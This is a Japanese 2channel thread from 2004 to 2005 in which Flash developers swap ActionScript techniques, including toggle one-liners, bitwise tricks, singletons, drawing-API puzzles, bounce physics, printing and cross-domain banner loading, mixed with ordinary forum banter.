おれも いまやって見て「preference」 を調べたけど 「Auto Format」の設定ってないみたいだね。 A = 1; //A に1をいれる が A = 1; //A に1をいれる になる問題だよね? 多分なおせない ヽ(´ー`)ノ その他 「PrimalScript には Auto Format 機能がないみたい」
なんかfontがどうのこうのasciiがどうのこうのというメッセージを出して 立ち上がらなくなった。 再インストールしといたけど、これを使うのはまだ時期が早そうだ。 せめて日本語パッチが出てからにしようっと。 というわけで俺はPeggyに戻りますわ。
398 :
ほ :04/09/27 05:21:02 ID:+Rjei4Lv
ほ
>>399 厳格なシミュレーションってわけじゃないだろうけど、
>決められた動きではなくその場その場で動き計算する
って感じの奴ならたくさんあると思うが。
>>399 剛体云々が分かれば出来ると思うよ。
結構難しいとは思うけど
接点とかの計算が超めんどくさくない?
重力や摩擦なんかはいいとして、難しいのは物体同士のヒットチェック 円形だけだったら出来るとおもうオブジェクトの回転する角度とか気にしなくていいし がんばって四角形までかな、複雑な多角形は無理でしょ
難しいな。 MC使わずに、描画する方向だと思うが。 むしろ全てを線として考え、それらが接続して形を作るという方向なら なんとかなるかもしれないなぁ。
Flexが非商用用途でフリーライセンスらしいが、どうなのよ
マクロメディアのこういう戦略は当たった験しが無い。 だいたいwebサービスやCGI使うような奴は既にFlashユーザーだろ。 大外れに1票。
商用だと150万!? 個人ユーザーで基盤作ろうって考えかな
Flexって個人で使うような物とは思えないんだが・・・Webリッチクライアントを個人が作って使うか? 非商用でリッチクライアントを使う用途となると、オープンソースプロジェクトとかかねぇ? まぁ非商用なら無償というのはありがたいけど、今までのflash+CGIでも似たような事はできるから、 利点はWebクライアント用に狙いを絞って作りやすくなっている事なんだろうけど、 それって商業で作る人でも無いとあまり利点にならないような気がする。
Flexは中途半端な気がする。Webアプリとして見るとパフォーマンスに難があるし エンタテインメント的な観点からは価値が全くないし。 2、3年くらいは存続するかもしれないけど、その間の技術革新についていけず 陳腐化するのではないか。
すげー不可解なんだけど スクリプトでさ スケールとかを固定するために不定数に1代入する方法考えてたわけよ んでx/x=1になるやろ でもx=0にしたとたんエラー起きる どうやら0/0=NaN なんでやねんと 0/0=1じゃねーの?不可解で夜も眠れん 誰かわかるように説明してください、説明してるサイトでもいいです 電卓でもエラーおこるし納得いかんわー
ここはネタスレになりますた、以下マジ質問&回答は厳禁でつ。
いや、っていうか質問スレではないし
>>412 まあ開発ユーザー向けってのもあるんじゃないの。
CFもそうだけど開発環境に金がかかると普及しづらいし。
420 :
Now_loading...774KB :04/10/16 12:21:21 ID:8KyCguos
>>419 これ見ましたけど、FLASHの中間コードってどうやって見るんですか?
422 :
420 :04/10/16 16:53:22 ID:8KyCguos
どうも。 flasmっていうの使ってみました。おもろい。 レジスタをちゃんと最適化して使ってくれるからローカル変数の方が速いんですね。 ほかにも Math.PI/2 はちゃんと 1.570796326794897 にしてくれてたり案外まともに最適されてる。
Flexよりlaszloの方が面白そう まあ、個人用途ならFlash+CGIで十分だけど
SharedObject
ここで質問するなー!
SharedObjectで解決できそうです。 ありがとうございましたー。
質問です 一度に何個かの当たり判定をつけるにはどうすればいいですか やっぱり努力と根性?
やっぱここで質問に答えればこういうのが来るんだよな
>>433 すっげ。。。
Player6→7のパフォーマンス改善にも驚かされたが、
さらに改善されるのか。
しかしコードネーム「Ball」ってw
Ballって聞くとついOOP入門とかを思い出してしまうのって俺だけ・・・?
>>433 多分AS2最適化コンパイラが搭載されるんだろうな・・・
歪みやビットマップ・音声データなんかもASで操作出来るようになれば申し分ないんだが・・・
ピクセルを打つ機能が欲しい。
ビデオのマスクかアルファチャンネル実装か
>>433 発表会の動画見たけど、MacOS上で動作してるっぽいよ。
あとは音楽の演奏速度を変える機能があればOK。 正直3Dはいらん。
確かに3Dは欲しいけど、どうせ重そうだよな。 ピクセルを打つ機能があればいろいろできる。
>>442 平面オブジェクトをピクセルに見立てて処理すればいいじゃん。♪
画面内に300×300の数の平面オブジェクトが置けるかっ それに上手くしないとぼやけるし。
実質は1x1の平面オブジェクトを置く事と機能的にはかわらないかと。 オブジェクトとしてではなく、ビットマップイメージを操作したいって事だろうけど。 そもそもswf自体に強力な描画機能があるのだから、 直にイメージを描画する機能より 描画モードやパレット操作機能のほうが有難い。 どちらにせよ 3Dとビットマップ乗せちゃうとShockWaveの立場が無くなるので 当分先なんじゃないかなぁ
>>445 変わらなくないんじゃない?
ピクセルとしての処理なら描画が全然違うと思われ。
アニメや表示の遅いフラ見てるとイラつくので、 3倍速に任意でできる機能つけて欲しい
パソコンを赤く塗って角でも付けてろ
ツマンネ
もうFlex使った人いる? ってかFlexはどの板で扱うんだろ web制作板には無いみたいだったけど
452 :
Now_loading...774KB :04/11/04 12:22:42 ID:remtglsp
いません
454 :
Now_loading...774KB :04/11/09 02:21:26 ID:zr96EpU1
MovieClipを10000個ほどattachしたら激重だったよ。
455 :
ボタンを押すたびにaの値を0と1を切り替える :04/11/12 22:17:58 ID:Z9yRSkHF
on (press) { a = Math.abs(a-1); }
on (press) { a = a ? 0 : 1; }
on (press) { a = 1-a; }
on (press) { a ^= 1; }
on (press) { a = Number(!a); }
このネタ面白いから色々やってみようか、
とりあえず上のは
>>457 GJ
flagがtrueだったら、1、falseだったら-1を代入する。
馬鹿コードならこうだろ
if (flag){
a = 1;
}else{
a = -1;
}
なにこいつ?
a = -1; if (flag && (a=1)) { } a=flag?1:-1;
flag = new Number( flag );
464 :
458 :04/11/13 14:51:35 ID:eYe2bxh2
a = (flag<<1)-1;
465 :
ミスった :04/11/13 14:51:56 ID:dxv5E0Ap
a = new Number( flag );
a = 1 & flag;
467 :
455 :04/11/13 16:19:47 ID:U4mGljQa
見たことないアイテムばっかりだなぁ_| ̄|○ 出直してきます どれが一番速いんでしょうかね?
468 :
Now_loading...774KB :04/11/13 16:57:20 ID:G987bSRd
>>458 が一番速いと思う。
ビット演算子を使うと内部で32ビット整数に変換されるんで。
しかも^(XOR演算子)はビット演算子の中では一番速い。
>>468 普通だとビット演算子が一番速いはずなんだけどね
FLASHでは457が一番速い。
470 :
468 :04/11/13 19:21:59 ID:G987bSRd
そうだったんだー。勉強になりますた。
>flagがtrueだったら、1、falseだったら-1を代入する。 a = flag*2 -1;
//ダメな例 a = [-1, 1][Number(flag)];
473 :
455 :04/11/16 23:44:28 ID:95+CXZe+
ネタ投下 ボタンを押すたびにaの値を0と1と-1を切り替える 0→1→-1→0→1→-1→0→1→-1....
ネタもいいけれども その実用例も欲しい所だね。
a = (a+2) % 3 -1 ってとこかな、俺だったら。
(a++) && (a == 2) && (a -= 3);
//ダメな例 a = 0; t = []; t[0] = 1; t[1] = -1; t[-1] = 0; a = t[a];
479 :
458 :04/11/17 18:33:17 ID:CGh9UxLc
a = ((a
>>1 )-a<<1) + (~(a
>>1 )&1);
>>473 同じように、
0, 1, 2, ... ,n - 1, n, 0, 1, 2, ... ,n - 1, n, 0, ...
だったらどうやるのが効率的(又はトリッキー)だろう。
漏れは
a = (a + 1) % (n + 1)
しか浮かばない。
>>474 ,477
図形描画したいような場合に結構使えるんじゃない?
a = ((a^n) + 0x7FFFFFFF >> 31) & a+1;
>>482 あなたはビット演算の魔術師ですね。惚れました。
>>482 偉い!
・・・けど、後で見ると何してるのか思い出せないなw
業務ではトリッキーなコードよりも見易さ優先になりますね。
そこでコメントですよ a++; //aに1足す いや本当にこういう奴がいてさ・・・
>>486 ワロタ
ちなみにMXのコードエディターで整形かけると、行末コメントが次の行に行くから嫌い
488 :
初期不良 :04/11/18 12:02:33 ID:H3DrIjKt
おお!待ってました。
かじってみた 英語わかんね_| ̄|○
('A`)ワカンネ ところで昔書いたコードって今読み返すと氏にたくなる。
昔書いたコードを見て感心することがあるが、 その部分は小人さんが書いてくれてるので、 自分の実力ではない、気をつけろ
flash4で書いたコードを今みると俺は宇宙人だったのかと思うぞよ。
494 :
Now_loading...774KB :04/11/24 20:30:15 ID:DrpFLkxa
(・∀・)まじっすか
はいはい、まじっす
(-∀-)?
497 :
Now_loading...774KB :04/11/28 13:55:09 ID:P0Fw8KuH
描画メソッドだけで円を書くにはどうすればいいですか?
ASは等価交換が原則です。
499 :
Now_loading...774KB :04/11/28 23:35:02 ID:R0TxjSt/
>497 縦の線を3本。横の線2本を組み合わせれば円という字が書ける。
あったまいー
ここで描画メソッドだけで¥記号を描くコードがでてきたら面白いんだがな
他のメソッドは使ったらいけないんだよな?
>502 それいいな。 他メソッド禁止。おもろい。
_root.lineStyle(15, 0x000000, 100); _root.moveTo(38, 14); _root.lineTo(88, 76); _root.lineTo(139, 14); _root.moveTo(88, 76); _root.lineTo(88, 165); _root.moveTo(50, 90); _root.lineTo(128, 90); _root.moveTo(50, 128); _root.lineTo(128, 128);
GJ!! おもしろいなー。 こういうスレあってもいいかも。 「ローディング画面の作り方教えてください」->「_rootにこれ貼り付けて」 「ウマーっていう太字がマウスを追っかけてくるのを・・・」->「_rootにこれ貼り付けて」
ローディングならすでにあしぷ(ry
ごめんごめん、全部AS描写のネタスレって意味です。 描写の苦労の割にはつまんないかも、ごめん。
あしぷってなんの略?
円っていつもは楕円ツールで描くか三角関数使って描くかの二択だったけど、 よくよく考えると「my_text = "●";」←こういうのもアリだなって思った。
米MacromediaのDevnetサイトに記事が載ってます。<円の描画方法
513 :
Now_loading...774KB :04/12/01 15:59:23 ID:fMBrCovp
朝鮮コース
514 :
初期不良 :04/12/01 19:49:55 ID:q3ybh4WR
>>488 使ってみた。メソッドとかフィールドへのアクセスの感じが Eclipse でいいですな。
たまに補完が効かなくなるのでファイルを開きなおしたり再起動したりすれば大丈夫みたい。
これくらい補完ができればエディタとしては十分ですな。
シンタックスチェックが FlashMX じゃないとできないのがまだあれだけど。
515 :
Now_loading...774KB :04/12/04 08:00:53 ID:I3MOdalK
マルチ
518 :
Now_loading...774KB :04/12/04 22:48:43 ID:uRj+JodO
Flexってこの板でいいのでしょうか?
>>518 一番妥当な板はWebプログラム板あたりなんだろうけど、
現状でFlexの話題を持ち出して一番反応がありそうなのは
おそらくこの板ではないかと。
520 :
Now_loading...774KB :04/12/05 19:55:55 ID:GNMYzmda
ASをeclipseつかってプログラミングしたんよ。 as2editorっていうプラグインはダウソできて、eclipseのpluginフォルダに解凍したやついれたんだけど、つかえない・・・。 まだ、なにかすることあるの?
vector = {x:0, y:0}; releaseLoc = preLoc={x:0, y:0}; drag = false; function mouseLoc() { return {x:_root._xmouse, y:_root._ymouse}; } this.onPress = function() { this.startDrag(false); drag = true; vector = {x:0, y:0}; degree = 0; preLoc = releaseLoc; releaseLoc = mouseLoc(); };
this.onRelease = function() { this.stopDrag(); drag = false; releaseLoc = mouseLoc(); vector = {x:releaseLoc.x-preLoc.x, y:releaseLoc.y-preLoc.y}; var d1 = Math.atan2(preLoc.y, preLoc.x); var d2 = Math.atan2(releaseLoc.y, releaseLoc.x); var d = d2-d1; var txm = this._xmouse; var tym = this._ymouse; var r = Math.sqrt(txm*txm, tym*tym); degree = d*r*10; };
this.onEnterFrame = function() { if (drag) { preLoc = releaseLoc; releaseLoc = mouseLoc(); } else { _x += vector.x; _y += vector.y; vector.x *= 0.9; vector.y *= 0.9; if ((Math.abs(vector.x)+Math.abs(vector.y))<0.2) { vector = {x:0, y:0}; } if (_x>Stage.width+_width/2) { _x = -_width/2; } else if (_x<(-_width/2)) { _x = Stage.width+_width/2; } if (_y>Stage.height+_height/2) { _y = -_height/2; } else if (_y<(-_height/2)) { _y = Stage.height+_height/2; } _rotation += degree; if (degree>0) { degree = Math.floor(degree*0.9); } else { degree = Math.ceil(degree*0.9); } } }; これで壁に当たって跳ね返るようにするにはどうしたらよいのかお教え願えませんでしょうか
×520=521=522 ○521=522=523 でした 連続カキコスマソ
丸投げするな。
onClipEvent (load) { zoneMC = _root.zone; zoneBounds = zoneMC.getBounds(_root); boundLeft = zoneBounds.xMin; boundTop = zoneBounds.yMin; boundRight = zoneBounds.xMax; boundBottom = zoneBounds.yMax; left = boundLeft+_parent._width/3; top = boundTop+_parent._height/3; right = boundRight-_parent._width/3; bottom = boundBottom-_parent._height/3; vx = Math.floor(Math.random()*20-10); vy = Math.floor(Math.random()*20-10); } onClipEvent (enterFrame) { _parent._x += vx; _parent._y += vy; if (_parent._x<left) { vx = -vx; } else if (_parent._x>right) { vx = -vx; } if (_parent._y<top) { vy = -vy; } else if (_parent._y>bottom) { vy = -vy; } }
527 :
初期不良 :04/12/05 22:12:21 ID:7EscSjk7
いや、、、、 一応自分なりに色々やってるんですが、、、 衝突判定はこれで一応動くのですがつかんで投げると衝突判定を無視してステージの外に飛んでいってしまいます。。。
たぶんお前の頭が悪すぎるのが原因だろうな
あぼーん
何でそんなに意地悪な事言うのかなー 分からないなりに色々やってるんだから、、、
532 :
520 :04/12/05 23:17:32 ID:GNMYzmda
うっとおしいんでマジレスしていいかい? ここは技術交換スレ 4文字で表すなら「 ス レ 違 い 」
質問スレに行けってこった。
スレ汚しスマソ(´・ω・`)
>>536 まぁ気を落としなさんな、
もう少し知識と質問の仕方を覚えてから戻っておいで!
いや、質問の仕方を覚えて戻ってきても駄目だろ。
でも掲示板で交換ってできないよね。 結局ただで情報得られるやつが圧倒的に多いわけだし。 技術共有とか技術提供のがあってると思うが。
まあ殆どの話題が質問から始まって、質問したりされたりで情報が交換されたり共有されていくんだと思うんだけど、
>>521 などは本人だけのクリティカルな(しかも幼稚な)問題で、回答しても第三者にまったく有益な情報になりえないしな。
個人的な質問は他へ行けばいいし この機能ってどうよ、はここでいいんじゃないの?
自治気取りUZEEEE GJ厨並みにうぜえ
じゃあASの話して浄化しますか。 2.0のクラスのstaticな変数の生成のタイミングが_root生成よりも早いんだが これが原因でsingletonのような使い方でMCを絡めたクラスが 作りにくいんだよな。 おまえらこういう場合はどうする? タイムラインから変数設定のメソッドを呼ぶとかか?
>>543 いっている意味がよくわからんw
デザインパターンのような座位の高いもんよくわからないんで(´・ω・`)
_rootのタイムラインで初期化すればいいだけじゃん。 デザパタ盲目信者ですか?
>>545 違うっての
Javaとかの場合staticなメンバは最初にクラスが呼び出された時に初期化されるんだが
Flashでは起動時に勝手に初期化されてるらしいってことだよ。
その違いから、たまにJavaの使い方を流用できないことがあるけどって話しだ。
singleton使いたいって言っただけでデザパタ盲目信者とは・・・
↓浄化するために新しい話題
548 :
Now_loading...774KB :04/12/06 17:05:12 ID:EJWGs+tN
話題もスキルも無いなら黙ってろよ。 だから自治はうぜえんだよ。IDわざわざ変えてまですることか。
ん?もしかして俺のことか? まあそう煽るなや。マターリしようぜ。
>550 >542 自治うぜえって自治してる 話題もスキルも脳味噌もないアンポンタン
V2コンポーネントのSWCファイルが単なるZIP形式だってことは周知の事実なんですか? 解凍してswfをフ○ッ○ュク○エ○ターで読んだらAS2.0のコードが丸見えになったんで驚いた。 商売あがったりだっつーの…。
>>546 んー、僕だったら
class Hoge{
private var _instance:Hoge;
private function Hoge(){}
public function getInstance(){
if (_instance == undefined){
_instance = new Hoge();
}
return _instance;
}
}
こうやるかな。ちょっとsingletonよりシンプルさが低いんだけど。
これだったらJavaと一緒で最初に呼ばれたときに、コンストラクタが働く。
flashのundefinedは結構便利だよ。
>>553 その話はガイシュツ
ちょっとこれ書いてて思った。 2.0のgettersetterって機能は初めて体験するものなんだけど かなり面白いものがあるなあぁと思って、まさにこれに使えるんじゃないかな static public function get instance():Hoge{ if (_instance == undefined) _instance = new Hoge(); return _instance; } こうするとさ、Hoge.instande.〜〜〜って クラス名からそのクラスの唯一なインスタンスにアクセスできるし 初期化は最初に呼び出されたときに勝手にやってくれる。 しかもそれを意識しないし、singletonのちょっとめんどくさい いちいちGetで呼び出す行が消えると思う。 getter と setterはまだ良くわかってないから 何か間違ってたら教えて。
しむらー!
>>554 にstatic抜けてる!抜けてる!
>>556 すまんorz
他にも細かい間違いあるはずだから脳内補間してくれ。
>554 おーい全部読んだけどSWCの話題なんかなかったぞー コードもウソばっか書いてるし…涙
馬鹿が書き込むとこうなるんだよ。 もうこのスレいらね。
といって閲覧している559であった
なんか雰囲気変わったな。 分からない話題には黙ってればいいのに 自分の知ってる話題してなきゃ気に入らないのか。 低年齢化というやつか。
だが質問スレと間違われることは少なくなった。
563 :
初期不良 :04/12/07 15:49:44 ID:N7IT+Eo1
static 変数の初期化タイミングだけど、
Java の場合はクラスがロードされたときというのが建前だよね?
AS2 の場合はこのクラスのロードが一番最初にすべて行われるために
>>543 のようなことになるということなのかな?
ヘルプの ActionScript リファレンスガイド>ActionScript 2.0 によるクラスの作成>クラスのコンパイルと書き出しの仕組み
によると、
>デフォルトでは、SWF ファイルで使用されるクラスは、SWF の最初のフレームにパッケージ化され、書き出されます。
>また、クラスをパッケージ化し、書き出すフレームを指定することもできます。これは、たとえば、SWF ファイルが
>長時間のダウンロードを必要とするような多くのクラスを使用するときに便利です。
おっ、ロードするタイミングをコントロールできるみたいだ。
設定方法はそこに書いてある。長いんで書くのはやめておくわ。
テスト面倒なんで誰か報告きぼんぬ
>>563 お、いい情報サンクス。
つーかこのFlashの仕組みにはつくづく呆れるというか。
凄い設計してるな。
確かにライブラリのMCはそれぞれがクラスだろうから
ストリーミング再生できるFlashがクラスを個別にフレーム読み込みできるのは当然なんだろうが。
getter setterの話もそうなんだが、仕様書いてるやつかなりいろいろできて楽しいだろうなw
テストは時間無いのであとでしようかと思ってる。
>>549 それってFlex製?
もしそうだとしたら非Halo(helo?どっちだっけ)で
ここまでいけることにかなりの期待感が。
flexをなにに使うんだかよくわからないよ。俺。 でも、549のサイトなんだかすごいわ。
>>566 ざっくり説明すると、法人が提供する個人向けオールFlashサイト
(簡易例:買い物カゴ)を作りたいけど、
Flashの作り方なんてワガンネorマンドクサって人のために用意されたもの。
Flexはもう虫の息ですがなにか?
フレーッフレーxtう
Ctrl+Hを押すと出来る置換はメモ帳でやったほうが何十倍も速い いま、ExcelつかってAS書いてたから それをメモ帳にコピペしてタブを消しまくる。置換で。
excelでas書くメリットてあるん??
描画メッソドでMC1とMC2とMC3とMC4とMC5と、、、、MC97とMC98とMC99を 線でつなぐASを書くときによく考えると数字が連続してるだけだから excelに任せて楽する
あったまいいい!
beginFill(hoge) moveTo(MC1._x,MC1._y); for(var i=2;i<= 99; i++){ lineTo(eval("MC"+i+"._x"),eval("MC"+i+"._y")); } endFill();
>576 では573のやり方は重くないと?
580 :
Now_loading...774KB :04/12/14 04:42:05 ID:5P9n7h7p
>>581 tkcDataGrid内の変数を片っ端から調べて
大文字と小文字のチェックをするしかないかねぇ。
あとは素直に2004pro付属のDataGridを使うか。
どうすれば入力が楽か、の方ばっかり考えてしまう
考えてばかりで実現しない罠
586 :
Now_loading...774KB :04/12/17 00:23:40 ID:/A4bWwJg
質問です。 actionレイヤーにて宣言した var xx:Number このxxという変数をムービークリップのアクションから参照すると (yy = xxなど)undefinedとなります。 どうすればxxを参照できるようになるでしょうか。
質問スレへー。
うーん 全印刷できひん function doAllPrint() { //PrintJobオブジェクト my_pj = new PrintJob(); my_pj.start(); my_pj.orientation = "landscape"; var oPArea = { xMin:tArea_mc._x, xMax:tArea_mc._x+tArea_mc._width, yMin:tArea_mc._y, yMax:tArea_mc._y + tArea_mc._height }; var oOption = {printAsBitmap:false}; var nFrame = 1; _root.dispPos = 1; //21行 1ページづつaddPageする while( _root.dispPos <= _root.ar1.length) { _root.peastShopList(_root.dispPos,_root.pageLine); my_pj.addPage(this, oPArea, oOption, nFrame); _root.dispPos = _root.dispPos + _root.pageLine; } my_pj.send(); delete my_pj; } (っっ"c)
//お店リスト描画処理 //startPos = 1からはじまる印刷開始位置 //pLine = 1ページ内の行数 function peastShopList(startPos, pLine) { myDP = new Array(); for ( i=startPos - 1; i<=startPos+pLine - 2; i++) { myDP.addItem({id:ar1[i], shop_name:ar2[i], address:ar3[i]}); } _root.mlgShopList.dataProvider = myDP; _root.txtPage.value = Math.floor(startPos/pLine) + 1; _root.txtTotal.value = Math.floor(ar1.length/pLine) + 1; }
俺だったら自分で変換ツールくらい作るよ・・・
どうでもいいけどメモ帳の置き換えって、大量にやろうとすると時間かかるよな。 前にレジストリをメモ帳でいじったときに時間かかりすぎてへこんだよ。
マクロ組みましょうよ。変換
>>591 そんな恥ずかしいことを
得意げに晒すな
「まいど」 あれほんと勘弁。キモイ。
pass=eval("this") でMCのパスを取得できますが、 this[]を使って pass=this["this"] のようにして取得することはできません。 この違いはなんなのでしょうか?
>597 script質問所へドゾー
>596 Flash-japanの?
今回の紅白でちょっと気づいたことを覚書。 IEのタグで、透過の指定をすると再生速度が上がるという話がありますが、 それをやると上下キーを押した時 例えフォーカスがFlashにあっても画面がスクロールしてしまうみたいです。 さらにASの再生速度が不安定になるようですね。 ゲームを作るときは気をつけるといいみたいです。
>>600 な、なんだってー。
先日全部htmlを書き直した俺には大打撃だ。
まあ上下キーを使ったものは今のとこないんだけど。
ASの速度不安定かな?俺のは平気みたいだけどなあ。
hitTest周りの速度が急に落ちる感じがしました。 それと、キー入力しっぱなしで止まる不具合(去年の乱れ島で一部あったような)も起きました。 原因は結構謎です。
604 :
函館人 ◆hb657T1piM :04/12/24 20:53:46 ID:ggy0x9p9
変数aが奇数なら1になる式 (a/2-int(a/2))*2 変数aが偶数なら1になる式 1-(a/2-int(a/2))*2
a%2 -(a%2-1)
微妙すぎなところだけど -(a%2-1) よりも 1-a%2 のどちらが早いかとかふと思う。
>>604 1
・・・その条件だとコレも解になるから、以外の時の値も書かないとね
>>600 昔、FLASHでフォーム作ってて透過タグ入れたらフォーカスがへんなことになった。
フォームの中じゃなくてHTMLに直接文字が・・・
>>611 自分も同じ症状で、今は透過無しに設定してる。
特にアニメーション最優先のコンテンツじゃないから
速度がちょっと狂おうが関係ないけど・・・。
IEの仕様には困ったもんだ。
読み込み状況が何%と読込予想完了時間まで何秒 っていうかんじにはどうやったらできるんですか?
616 :
函館人 ◆hb657T1piM :04/12/26 20:25:50 ID:30ufbB+u
切捨て int(a) 切上げ int(a+1) 四捨五入 int(a+.5)
いや、普通に間違ってるから、それ。
質問です.
620 :
619 :05/01/02 20:37:41 ID:CP4/K/MR
失礼しました・・・改めて. C++で作成したプログラム中の値をASに渡して,ASで描画処理を行おうと考えているのですがどのようにすればよいのでしょうか? fscommandだとASの値をC++側に渡すことはできそうなのですが,逆にC++の値をASに渡す方法がわかりません・・・ よろしくお願いします.
flashはwebで再生する目的に作られていて で、通信はかなり限定的なものになっている。 cgiでデータ受け渡ししたりしないとだめ。 あるいは、メモリをのっとって無理矢理ってことができるのかもしれんが。
622 :
619 :05/01/02 21:14:05 ID:CP4/K/MR
>>612 レスありがとうございます.
要するにflash側のデータ受け取り機能が制限されているというような事ですね.
cgiのほうを検討してみようかと思います.
623 :
619 :05/01/02 21:14:59 ID:CP4/K/MR
624 :
Now_loading...774KB :05/01/03 16:50:14 ID:fz5I71bg
swf をHTMLに埋め込む時に object の IDまたは、embed のNAME に指定する moviename をactionscript で、知ることは出来ますか? 誰か教えてください。
>>619 Shockwave Flash Objectを使っているならSetVariable使えます。
あとはswf側でObject.watchしてればOKです。
デベロッパーセンターに記事が有ったような・・・
627 :
619 :05/01/07 20:46:08 ID:DceajZYA
>>626 レスありがとうございます!あと亀レス失礼します・・・
デベロッパーセンターですね。これから調べてみます。
628 :
626 :05/01/11 16:47:50 ID:DRW3Xaea
ActionScriptとは違う質問かもしれませんが、教えてください。 【やりたい事】 (1)タイトルバーの名前を 現状) 「Macromedia Flash Player 6」 変更) 「???????任意の文字(半角でOK)」 にしたいです。 (2)パブリッシュ設定で「Windowsプロジェクタ」を選びパブリッシュします。 画面はフルスクリーンではなくVGAのウィンドウ表示をさせたい。 タイムラインの最初に、 fscommand("showmenu", false); としてメニューバーを消そうとしました。メニューは消えたのですが、 exeファイルを実行すると画面の上下に黒い帯が表示されます。 メニューバーが消えた分の幅が上下にできてしまいました。 【 質問内容 】 (1)タイトルバーを変更する方法をどなたかご存知ありませんか? (2)黒い帯の部分を消したいのですが、何か良い方法はないでしょうか? 【 使用環境 】FlashMXをWinXPProで使用しています。 宜しくお願いします。
630 :
629 :05/01/17 18:51:08 ID:V74b2RxW
【追加】Flash6でパブリッシュしてます。
632 :
629 :05/01/17 19:01:42 ID:V74b2RxW
>>631 さん
すいませんでした。教えて頂いたスレに行きます。
ついでにレスくださったのも何かの縁ということで、
何が「禿しくそれ以前」なのか教えてください・・・
本当に懲りないね、この人。
634 :
629 :05/01/17 19:08:28 ID:V74b2RxW
>>633 さん
スレ汚しスマソ。あっちへ逝ってきます。
スタンドアローンなアプリケーションとして機能させるための 制御ならFlashの範疇じゃない。 ていうかWindows API。 「ちょっと見た目だけなんとかしたい」なら html+javascriptで簡単に解決可能。 なんつーかやりたいことがよくわからん。
ちょっとお題 (?) でもないか。 AS技術交換スレ っぽくない話題かもしれないけど、御容赦くださいな。 みなさんだったらどうします? 御意見いただけないかな、と。 たとえば 3D 描写する際に 頂点座標を求める。 今のとこ 2 , 3 通りしか思いつかないんだけど 他で効率いいのあるかな。 /************************************************************ 1 : [ 三角関数を含む行列を用いて 絶対座標を導く ] 例えば / 1 - 1 / ( x , y , z )という座標に対して x = r * sinA * sinB y = r * sinA * cosB z = r * cosA だとか ( 絶対的すぎる )、 / 1 - 2 / X軸、Y軸回転させる行列XYを その都度求めて 座標にかけてやる ( 今こうしてるけど A , B は絶対的なθ )。 2 : [ 複素平面 3枚 ] x 軸回転の場合 y + z*i と捕らえ、 かける ( 実部と虚部の実関数を定義 ) *************************************************************/ 1 を相対的な物にするには 微分しかないですかね。 最初に求めればいいのでそこまで苦でもないけど、 複素関数だと相対的で効率いいかなぁと。 処理も早いんじゃないでしょうか?(計算回数は少なくとも減るし。) 他に効率いい方法って ありますかね?
637 :
636 :05/02/03 13:00:34 ID:+KfKE5QN
書き込んでから思った。 別に 何を作ろうとしてるわけでもないんだけど なんかパッと見 質問っぽいからいいや。 スレ汚し ごめんなさい。。 興味ある方がいたら 色々話してみたいけど なんかこれ ASの お題っぽくもないしなぁ・・・ほんとすんません。 うざかったら容赦なくスルーお願いします。
638 :
ダブルクリックの反応 :05/02/03 17:13:27 ID:bypwYFQ1
this.onMouseDown = function() { if (clicking>0) { trace("ダブルクリック"); //ここに処理を打ちこめええええぇぇぇええぇ } else { clicking = 5; } }; this.onEnterFrame = function() { clicking--; }; //とりあえずクリックしたら変数clickingに5を代入 //フレームが進む度にclickingから1引く //clickingが0より大きのであればダブルクリックしてる
えっ?! えっ?! えっ?! えっ?! えっ?! えっ?!
>>636 久々のネタ振りで嬉しいけど3Dは不勉強なので全然ワカランです。
ってワケで突っ込み甲斐がある
>>638 へ贈ります。
this.dbClick_obj = new Object();
this.dbClick_obj.interval = 250;//ダブルクリックの間隔をミリ秒指定
this.dbClick_obj.onMouseDown = function(){
this.now = getTimer();
if(this.now - this.bef < this.interval){
trace("ダブルクリックしますた");
}else{
this.bef = this.now;
}
}
Mouse.addListener(this.dbClick_obj);
フラ板の看板って、外部テキスト読み込んで設定した方が楽なのに・・・。 と思って他板用ののローダー作ったら読み込めねぇぇ! と四苦八苦してしまった。結局できたけど。 2ちゃんねるでのFLASHバナーの読み込みはこんな風になってるらしい。 2ちゃん鯖のhtmlから絶対アドレスで外部鯖の.JSファイルを参照 <script src=外部鯖のJSファイルの絶対アドレス></script> JSファイルの中身 document.write("<embed src=swfの絶対アドレス" width=500 height=100></embed>); こうすると、ローカル上では読めるものの、いざアップするとローダーのswfが2ちゃん鯖上にあると解釈されるのか、 loadMovie()なんかは絶対アドレスにしないと読めない上、ローダーと外部swfが同一ドメイン内なのに System.security.allowDomain(domain)で外部ムービーを許可し、外部テキストは一旦設定用の外部ムービーに読み込んで、 そのムービーを読み込む、という手順を踏まないとローダーとして使えないということを発見しました。 もしも2ちゃんねるの他板でFLASH看板を作ろう!という人がいたら参考にしてください。 そんな人いるか?いないか・・・。
System.security.allowDomain(domain) てMX2004から? MXで、絶対アドレスでswfをloadMoiveしたとき htmlとjsファイルのドメイン違っても問題なかったのだが。
俺も試してみたが、確かに読めなかった。 ソネットの鯖にswf、JSファイルを置いて、cool鯖のhtmlからJSを呼び出した。 allowDomainを記述したら大丈夫だった。外部テキストは試してない。
644 :
Now_loading...774KB :05/02/07 21:00:39 ID:jVj71613
お題。 問1 たろうくんは、1から順番に1,2,3,4,5,・・・とある数までを黒板に書きました。 じろうくんがその中の1個の数を消してしまいました。 すると残りの数の平均は、590/17になりました。 じろうくんの消した数はいくつですか。 解 onClipEvent(load){ trace(num); }
ライブラリに登録しているMCにクラスを関連付ける時は ライブラリ→リンケージ→AS2.0クラス ASでする時は Object.registerClass("symbolID", クラス名); ですよね? createEmptyMovieClip()で作成したMCに対して関連付けをする時は どうすればいいのでしょうか?
空MCは識別子無いし無理じゃない?
>>646 そ・・そうなんですか。。orz
MovieClip.prototype.method = function() {};
のように使いたかったのですが・・他の方法探してみます。
>>644 onClipEvent(load){
n = 1;
end = false;
while(end==false){
n_max = 17*n+1;
sum = n_max*(n_max+1)/2;
for(i=1;i<=n_max;i++){
sum_b = sum-i;
if(sum_b/(n_max-1)==590/17){
end = true;
num = i;
break;
}
}
n++;
}
trace(num);
}
太郎君、がんばりやだな。一杯数字書いて(T_T)
processおもれー
ゲームを作っていて スペースキーを押すと「beam」という名前のシンボルが 複製されるようにしたいんですが、うまくいきません。 よろしくお願いします。 if(Key.isDown(Key.SPACE)){ _root.beam.duplicateMovieClip(beamA,2); _root.beamA._x=xspeed; _root.beamA._y=yspeed; }
654 :
652 :05/02/13 01:20:59 ID:pGzPDtdj
すまそ...orz
>>655 >(EnterFrameで始点と終点を握って、それぞれの始点・終点を
> 一定の数値分randomで前後させる、とかそこらへんか?)
まさしくその通りだと予想。自分が作るとしたらそれで実装する。
実はホンさんより先に誰かさんがもう作っていたのを見てたりする(ボソッ
